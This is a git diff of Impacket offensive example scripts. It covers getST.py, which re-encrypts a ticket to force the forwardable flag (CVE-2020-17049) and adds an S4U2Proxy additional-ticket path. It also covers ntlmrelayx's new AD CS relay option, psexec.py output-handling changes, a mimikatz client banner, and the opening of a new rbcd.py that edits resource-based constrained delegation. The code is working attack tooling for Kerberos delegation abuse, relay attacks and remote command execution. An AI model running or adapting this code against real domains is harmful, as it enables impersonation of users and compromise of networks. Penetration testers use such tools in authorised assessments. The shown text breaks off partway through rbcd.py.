|
||||
@@ -214,7 +422,7 @@ class GETST:
|
||||
|
||||
r = sendReceive(message, self.__domain, kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('TGS_REP')
|
||||
@@ -249,7 +457,7 @@ class GETST:
|
||||
|
||||
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
|
||||
cipherText = tgs['ticket']['enc-part']['cipher']
|
||||
|
||||
|
||||
# Check which cipher was used to encrypt the ticket. It's not always the same
|
||||
# This determines which of our keys we should use for decryption/re-encryption
|
||||
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
|
||||
@@ -265,33 +473,33 @@ class GETST:
|
||||
# (section 5.4.2)
|
||||
plainText = newCipher.decrypt(key, 2, cipherText)
|
||||
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
|
||||
|
||||
|
||||
# Print the flags in the ticket before modification
|
||||
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
|
||||
logging.debug('\tService ticket from S4U2self is'
|
||||
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value]==1) else ' not')
|
||||
+ ' forwardable')
|
||||
|
||||
#Customize flags the forwardable flag is the only one that really matters
|
||||
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
|
||||
+ ' forwardable')
|
||||
|
||||
# Customize flags the forwardable flag is the only one that really matters
|
||||
logging.info('\tForcing the service ticket to be forwardable')
|
||||
#convert to string of bits
|
||||
flagBits = encTicketPart['flags'].asBinary()
|
||||
#Set the forwardable flag. Awkward binary string insertion
|
||||
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value+1:]
|
||||
#Overwrite the value with the new bits
|
||||
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits)#Update flags
|
||||
|
||||
# convert to string of bits
|
||||
flagBits = encTicketPart['flags'].asBinary()
|
||||
# Set the forwardable flag. Awkward binary string insertion
|
||||
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
|
||||
# Overwrite the value with the new bits
|
||||
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
|
||||
|
||||
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
|
||||
logging.debug('\tService ticket now is'
|
||||
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value]==1) else ' not')
|
||||
+ ' forwardable')
|
||||
|
||||
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
|
||||
+ ' forwardable')
|
||||
|
||||
# Re-encode and re-encrypt the ticket
|
||||
# Again, Key Usage 2
|
||||
encodedEncTicketPart = encoder.encode(encTicketPart)
|
||||
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
|
||||
|
||||
#put it back in the TGS
|
||||
|
||||
# put it back in the TGS
|
||||
tgs['ticket']['enc-part']['cipher'] = cipherText
|
||||
|
||||
################################################################################
|
||||
@@ -300,25 +508,25 @@ class GETST:
|
||||
# Extract the ticket from the TGT
|
||||
ticketTGT = Ticket()
|
||||
ticketTGT.from_asn1(decodedTGT['ticket'])
|
||||
|
||||
#Get the service ticket
|
||||
|
||||
# Get the service ticket
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(tgs['ticket'])
|
||||
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq['pvno'] = 5
|
||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = list()
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq,'ticket', ticketTGT.to_asn1)
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator['authenticator-vno'] = 5
|
||||
authenticator['crealm'] = str(decodedTGT['crealm'])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
|
||||
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
|
||||
|
||||
seq_set(authenticator, 'cname', clientName.components_to_asn1)
|
||||
|
||||
@@ -379,12 +587,12 @@ class GETST:
|
||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
||||
reqBody['nonce'] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, 'etype',
|
||||
(
|
||||
int(constants.EncryptionTypes.rc4_hmac.value),
|
||||
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
|
||||
int(constants.EncryptionTypes.des_cbc_md5.value),
|
||||
int(cipher.enctype)
|
||||
)
|
||||
(
|
||||
int(constants.EncryptionTypes.rc4_hmac.value),
|
||||
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
|
||||
int(constants.EncryptionTypes.des_cbc_md5.value),
|
||||
int(cipher.enctype)
|
||||
)
|
||||
)
|
||||
message = encoder.encode(tgsReq)
|
||||
|
||||
@@ -450,8 +658,12 @@ class GETST:
|
||||
# Here's the rock'n'roll
|
||||
try:
|
||||
logging.info('Impersonating %s' % self.__options.impersonate)
|
||||
#Editing below to pass hashes for decryption
|
||||
tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
|
||||
# Editing below to pass hashes for decryption
|
||||
if self.__additional_ticket is not None:
|
||||
tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
|
||||
self.__kdcHost, self.__additional_ticket)
|
||||
else:
|
||||
tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
|
||||
except Exception as e:
|
||||
logging.debug("Exception", exc_info=True)
|
||||
logging.error(str(e))
|
||||
@@ -463,7 +675,8 @@ class GETST:
|
||||
return
|
||||
self.__saveFileName = self.__options.impersonate
|
||||
|
||||
self.saveTicket(tgs,oldSessionKey)
|
||||
self.saveTicket(tgs, oldSessionKey)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
print(version.BANNER)
|
||||
@@ -471,36 +684,36 @@ if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
|
||||
"Service Ticket and save it as ccache")
|
||||
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
|
||||
parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the '
|
||||
'service ticket will' ' be generated for')
|
||||
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
|
||||
' for quering the ST. Keep in mind this will only work if '
|
||||
'the identity provided in this scripts is allowed for '
|
||||
'delegation to the SPN specified')
|
||||
parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the '
|
||||
'service ticket will' ' be generated for')
|
||||
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
|
||||
' for quering the ST. Keep in mind this will only work if '
|
||||
'the identity provided in this scripts is allowed for '
|
||||
'delegation to the SPN specified')
|
||||
parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')
|
||||
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '
|
||||
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
|
||||
'specified -identity should be provided. This allows impresonation of protected users '
|
||||
'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
|
||||
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
|
||||
'specified -identity should be provided. This allows impresonation of protected users '
|
||||
'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
print("\nExamples: ")
|
||||
print("\t./getTGT.py -hashes lm:nt contoso.com/user\n")
|
||||
print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n")
|
||||
print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
|
||||
sys.exit(1)
|
||||
|
||||
@@ -525,6 +738,7 @@ if __name__ == '__main__':
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
@@ -535,5 +749,6 @@ if __name__ == '__main__':
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
|
||||
traceback.print_exc()
|
||||
print(str(e))
|
||||
+14
-8
@@ -44,6 +44,19 @@ try:
|
||||
except ImportError:
|
||||
import readline
|
||||
|
||||
|
||||
mimikatz_intro = r"""
|
||||
.#####. mimikatz RPC interface
|
||||
.## ^ ##. "A La Vie, A L' Amour "
|
||||
## / \ ## /* * *
|
||||
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
|
||||
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
|
||||
'#####' Impacket client by Alberto Solino (@agsolino) * * */
|
||||
|
||||
|
||||
Type help for list of commands"""
|
||||
|
||||
|
||||
class MimikatzShell(cmd.Cmd):
|
||||
def __init__(self, dce):
|
||||
cmd.Cmd.__init__(self)
|
||||
@@ -51,14 +64,7 @@ class MimikatzShell(cmd.Cmd):
|
||||
|
||||
self.prompt = 'mimikatz # '
|
||||
self.tid = None
|
||||
self.intro = '' \
|
||||
' .#####. mimikatz RPC interface\n'\
|
||||
' .## ^ ##. "A La Vie, A L\' Amour "\n'\
|
||||
' ## / \ ## /* * *\n'\
|
||||
' ## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n'\
|
||||
' \'## v ##\' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n'\
|
||||
' \'#####\' Impacket client by Alberto Solino (@agsolino) * * */\n\n'\
|
||||
'Type help for list of commands'
|
||||
self.intro = mimikatz_intro
|
||||
self.pwd = ''
|
||||
self.share = None
|
||||
self.loggedIn = True
|
||||
|
||||
@@ -164,6 +164,8 @@ def start_servers(options, threads):
|
||||
c.setInterfaceIp(options.interface_ip)
|
||||
c.setExploitOptions(options.remove_mic, options.remove_target)
|
||||
c.setWebDAVOptions(options.serve_image)
|
||||
c.setIsADCSAttack(options.adcs)
|
||||
c.setADCSOptions(options.template)
|
||||
|
||||
if server is HTTPRelayServer:
|
||||
c.setListeningPort(options.http_port)
|
||||
@@ -320,6 +322,11 @@ if __name__ == '__main__':
|
||||
imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
|
||||
'(0 = unlimited, default: no limit)')
|
||||
|
||||
# AD CS options
|
||||
adcsoptions = parser.add_argument_group("AD CS attack options")
|
||||
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
|
||||
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, default="Machine", help='AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable.')
|
||||
|
||||
try:
|
||||
options = parser.parse_args()
|
||||
except Exception as e:
|
||||
|
||||
+205
-33
@@ -19,6 +19,7 @@
|
||||
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
import cmd
|
||||
import logging
|
||||
from threading import Thread, Lock
|
||||
@@ -37,6 +38,7 @@ from impacket.examples import remcomsvc, serviceinstall
|
||||
from impacket.examples.utils import parse_target
|
||||
from impacket.krb5.keytab import Keytab
|
||||
|
||||
CODEC = sys.stdout.encoding
|
||||
|
||||
class RemComMessage(Structure):
|
||||
structure = (
|
||||
@@ -54,9 +56,9 @@ class RemComResponse(Structure):
|
||||
('ReturnCode','<L=0'),
|
||||
)
|
||||
|
||||
RemComSTDOUT = "RemCom_stdout"
|
||||
RemComSTDIN = "RemCom_stdin"
|
||||
RemComSTDERR = "RemCom_stderr"
|
||||
RemComSTDOUT = "RemCom_stdout"
|
||||
RemComSTDIN = "RemCom_stdin"
|
||||
RemComSTDERR = "RemCom_stderr"
|
||||
|
||||
lock = Lock()
|
||||
|
||||
@@ -83,18 +85,15 @@ class PSEXEC:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, remoteName, remoteHost):
|
||||
|
||||
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
|
||||
logging.debug('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
self.doStuff(rpctransport)
|
||||
|
||||
@@ -221,6 +220,7 @@ class PSEXEC:
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
class Pipes(Thread):
|
||||
def __init__(self, transport, pipe, permissions, share=None):
|
||||
Thread.__init__(self)
|
||||
@@ -266,26 +266,117 @@ class RemoteStdOutPipe(Pipes):
|
||||
|
||||
def run(self):
|
||||
self.connectPipe()
|
||||
while True:
|
||||
try:
|
||||
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
|
||||
global LastDataSent
|
||||
|
||||
if PY3:
|
||||
__stdoutOutputBuffer, __stdoutData = b"", b""
|
||||
|
||||
while True:
|
||||
try:
|
||||
global LastDataSent
|
||||
if ans != LastDataSent:
|
||||
sys.stdout.write(ans.decode('cp437'))
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
# Don't echo what I sent, and clear it up
|
||||
LastDataSent = ''
|
||||
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
|
||||
# it will give false positives tho.. we should find a better way to handle this.
|
||||
if LastDataSent > 10:
|
||||
LastDataSent = ''
|
||||
stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
if stdout_ans != LastDataSent:
|
||||
if len(stdout_ans) != 0:
|
||||
# Append new data to the buffer while there is data to read
|
||||
__stdoutOutputBuffer += stdout_ans
|
||||
|
||||
promptRegex = b'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'
|
||||
|
||||
endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
|
||||
if endsWithPrompt == True:
|
||||
# All data, we shouldn't have encoding errors
|
||||
# Adding a space after the prompt because it's beautiful
|
||||
__stdoutData = __stdoutOutputBuffer + b" "
|
||||
# Remainder data for next iteration
|
||||
__stdoutOutputBuffer = b""
|
||||
|
||||
# print("[+] endsWithPrompt")
|
||||
# print(" | __stdoutData:",__stdoutData)
|
||||
# print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
|
||||
elif b'\n' in __stdoutOutputBuffer:
|
||||
# We have read a line, print buffer if it is not empty
|
||||
lines = __stdoutOutputBuffer.split(b"\n")
|
||||
# All lines, we shouldn't have encoding errors
|
||||
__stdoutData = b"\n".join(lines[:-1]) + b"\n"
|
||||
# Remainder data for next iteration
|
||||
__stdoutOutputBuffer = lines[-1]
|
||||
# print("[+] newline in __stdoutOutputBuffer")
|
||||
# print(" | __stdoutData:",__stdoutData)
|
||||
# print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
|
||||
|
||||
if len(__stdoutData) != 0:
|
||||
# There is data to print
|
||||
try:
|
||||
sys.stdout.write(__stdoutData.decode(CODEC))
|
||||
sys.stdout.flush()
|
||||
__stdoutData = b""
|
||||
except UnicodeDecodeError:
|
||||
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
print(__stdoutData.decode(CODEC, errors='replace'))
|
||||
__stdoutData = b""
|
||||
else:
|
||||
# Don't echo the command that was sent, and clear it up
|
||||
LastDataSent = b""
|
||||
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
|
||||
# it will give false positives tho.. we should find a better way to handle this.
|
||||
# if LastDataSent > 10:
|
||||
# LastDataSent = ''
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
__stdoutOutputBuffer, __stdoutData = "", ""
|
||||
|
||||
while True:
|
||||
try:
|
||||
stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
if stdout_ans != LastDataSent:
|
||||
if len(stdout_ans) != 0:
|
||||
# Append new data to the buffer while there is data to read
|
||||
__stdoutOutputBuffer += stdout_ans
|
||||
|
||||
promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'
|
||||
|
||||
endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
|
||||
if endsWithPrompt:
|
||||
# All data, we shouldn't have encoding errors
|
||||
# Adding a space after the prompt because it's beautiful
|
||||
__stdoutData = __stdoutOutputBuffer + " "
|
||||
# Remainder data for next iteration
|
||||
__stdoutOutputBuffer = ""
|
||||
|
||||
elif '\n' in __stdoutOutputBuffer:
|
||||
# We have read a line, print buffer if it is not empty
|
||||
lines = __stdoutOutputBuffer.split("\n")
|
||||
# All lines, we shouldn't have encoding errors
|
||||
__stdoutData = "\n".join(lines[:-1]) + "\n"
|
||||
# Remainder data for next iteration
|
||||
__stdoutOutputBuffer = lines[-1]
|
||||
|
||||
if len(__stdoutData) != 0:
|
||||
# There is data to print
|
||||
sys.stdout.write(__stdoutData.decode(CODEC))
|
||||
sys.stdout.flush()
|
||||
__stdoutData = ""
|
||||
else:
|
||||
# Don't echo the command that was sent, and clear it up
|
||||
LastDataSent = ""
|
||||
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
|
||||
# it will give false positives tho.. we should find a better way to handle this.
|
||||
# if LastDataSent > 10:
|
||||
# LastDataSent = ''
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
|
||||
class RemoteStdErrPipe(Pipes):
|
||||
def __init__(self, transport, pipe, permisssions):
|
||||
@@ -293,17 +384,87 @@ class RemoteStdErrPipe(Pipes):
|
||||
|
||||
def run(self):
|
||||
self.connectPipe()
|
||||
while True:
|
||||
try:
|
||||
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
|
||||
if PY3:
|
||||
__stderrOutputBuffer, __stderrData = b'', b''
|
||||
|
||||
while True:
|
||||
try:
|
||||
sys.stderr.write(str(ans))
|
||||
sys.stderr.flush()
|
||||
stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
if len(stderr_ans) != 0:
|
||||
# Append new data to the buffer while there is data to read
|
||||
__stderrOutputBuffer += stderr_ans
|
||||
|
||||
if b'\n' in __stderrOutputBuffer:
|
||||
# We have read a line, print buffer if it is not empty
|
||||
lines = __stderrOutputBuffer.split(b"\n")
|
||||
# All lines, we shouldn't have encoding errors
|
||||
__stderrData = b"\n".join(lines[:-1]) + b"\n"
|
||||
# Remainder data for next iteration
|
||||
__stderrOutputBuffer = lines[-1]
|
||||
|
||||
if len(__stderrData) != 0:
|
||||
# There is data to print
|
||||
try:
|
||||
sys.stdout.write(__stderrData.decode(CODEC))
|
||||
sys.stdout.flush()
|
||||
__stderrData = b""
|
||||
except UnicodeDecodeError:
|
||||
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
print(__stderrData.decode(CODEC, errors='replace'))
|
||||
__stderrData = b""
|
||||
else:
|
||||
# Don't echo the command that was sent, and clear it up
|
||||
LastDataSent = b""
|
||||
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
|
||||
# it will give false positives tho.. we should find a better way to handle this.
|
||||
# if LastDataSent > 10:
|
||||
# LastDataSent = ''
|
||||
except Exception as e:
|
||||
pass
|
||||
else:
|
||||
__stderrOutputBuffer, __stderrData = '', ''
|
||||
|
||||
while True:
|
||||
try:
|
||||
stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
if len(stderr_ans) != 0:
|
||||
# Append new data to the buffer while there is data to read
|
||||
__stderrOutputBuffer += stderr_ans
|
||||
|
||||
if '\n' in __stderrOutputBuffer:
|
||||
# We have read a line, print buffer if it is not empty
|
||||
lines = __stderrOutputBuffer.split("\n")
|
||||
# All lines, we shouldn't have encoding errors
|
||||
__stderrData = "\n".join(lines[:-1]) + "\n"
|
||||
# Remainder data for next iteration
|
||||
__stderrOutputBuffer = lines[-1]
|
||||
|
||||
if len(__stderrData) != 0:
|
||||
# There is data to print
|
||||
sys.stdout.write(__stderrData.decode(CODEC))
|
||||
sys.stdout.flush()
|
||||
__stderrData = ""
|
||||
else:
|
||||
# Don't echo the command that was sent, and clear it up
|
||||
LastDataSent = ""
|
||||
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
|
||||
# it will give false positives tho.. we should find a better way to handle this.
|
||||
# if LastDataSent > 10:
|
||||
# LastDataSent = ''
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, server, port, credentials, tid, fid, share, transport):
|
||||
@@ -402,9 +563,9 @@ class RemoteShell(cmd.Cmd):
|
||||
|
||||
def default(self, line):
|
||||
if PY3:
|
||||
self.send_data(line.encode('cp437')+b'\r\n')
|
||||
self.send_data(line.encode(CODEC)+b'\r\n')
|
||||
else:
|
||||
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
|
||||
self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n')
|
||||
|
||||
def send_data(self, data, hideOutput = True):
|
||||
if hideOutput is True:
|
||||
@@ -439,6 +600,11 @@ if __name__ == '__main__':
|
||||
parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
|
||||
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
||||
'"%s"). If errors are detected, run chcp.com at the target, '
|
||||
'map the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '
|
||||
'again with -codec and the corresponding codec ' % CODEC)
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
@@ -475,6 +641,12 @@ if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init(options.ts)
|
||||
|
||||
if options.codec is not None:
|
||||
CODEC = options.codec
|
||||
else:
|
||||
if CODEC is None:
|
||||
CODEC = 'utf-8'
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
# Print the Library's installation path
|
||||
|
||||
Executable
+588
@@ -0,0 +1,588 @@
|
||||
#!/usr/bin/env python3
|
||||
# Impacket - Collection of Python classes for working with network protocols.
|
||||
#
|
||||
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer
|
||||
#
|
||||
# Authors:
|
||||
# Remi Gascou (@podalirius_)
|
||||
# Charlie Bromberg (@_nwodtuhs)
|
||||
#
|
||||
# ToDo:
|
||||
# [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import sys
|
||||
import traceback
|
||||
import ldap3
|
||||
import ssl
|
||||
import ldapdomaindump
|
||||
from binascii import unhexlify
|
||||
import os
|
||||
from ldap3.protocol.formatters.formatters import format_sid
|
||||
|
||||
from impacket import version
|
||||
from impacket.examples import logger, utils
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
|
||||
|
||||
def get_machine_name(args, domain):
|
||||
if args.dc_ip is not None:
|
||||
s = SMBConnection(args.dc_ip, args.dc_ip)
|
||||
else:
|
||||
s = SMBConnection(domain, domain)
|
||||
try:
|
||||
s.login('', '')
|
||||
except Exception:
|
||||
if s.getServerName() == '':
|
||||
raise Exception('Error while anonymous logging into %s' % domain)
|
||||
else:
|
||||
s.logoff()
|
||||
return s.getServerName()
|
||||
|
||||
|
||||
def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None,
|
||||
TGT=None, TGS=None, useCache=True):
|
||||
from pyasn1.codec.ber import encoder, decoder
|
||||
from pyasn1.type.univ import noValue
|
||||
"""
|
||||
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
|
||||
:param string user: username
|
||||
:param string password: password for the user
|
||||
:param string domain: domain where the account is valid for (required)
|
||||
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
|
||||
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
|
||||
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
|
||||
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
|
||||
:param struct TGT: If there's a TGT available, send the structure here and it will be used
|
||||
:param struct TGS: same for TGS. See smb3.py for the format
|
||||
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
|
||||
:return: True, raises an Exception if error.
|
||||
"""
|
||||
|
||||
if lmhash != '' or nthash != '':
|
||||
if len(lmhash) % 2:
|
||||
lmhash = '0' + lmhash
|
||||
if len(nthash) % 2:
|
||||
nthash = '0' + nthash
|
||||
try: # just in case they were converted already
|
||||
lmhash = unhexlify(lmhash)
|
||||
nthash = unhexlify(nthash)
|
||||
except TypeError:
|
||||
pass
|
||||
|
||||
# Importing down here so pyasn1 is not required if kerberos is not used.
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
import datetime
|
||||
|
||||
if TGT is not None or TGS is not None:
|
||||
useCache = False
|
||||
|
||||
if useCache:
|
||||
try:
|
||||
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
|
||||
except Exception as e:
|
||||
# No cache present
|
||||
print(e)
|
||||
pass
|
||||
else:
|
||||
# retrieve domain information from CCache file if needed
|
||||
if domain == '':
|
||||
domain = ccache.principal.realm['data'].decode('utf-8')
|
||||
logging.debug('Domain retrieved from CCache: %s' % domain)
|
||||
|
||||
logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
|
||||
principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
|
||||
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is None:
|
||||
# Let's try for the TGT and go from there
|
||||
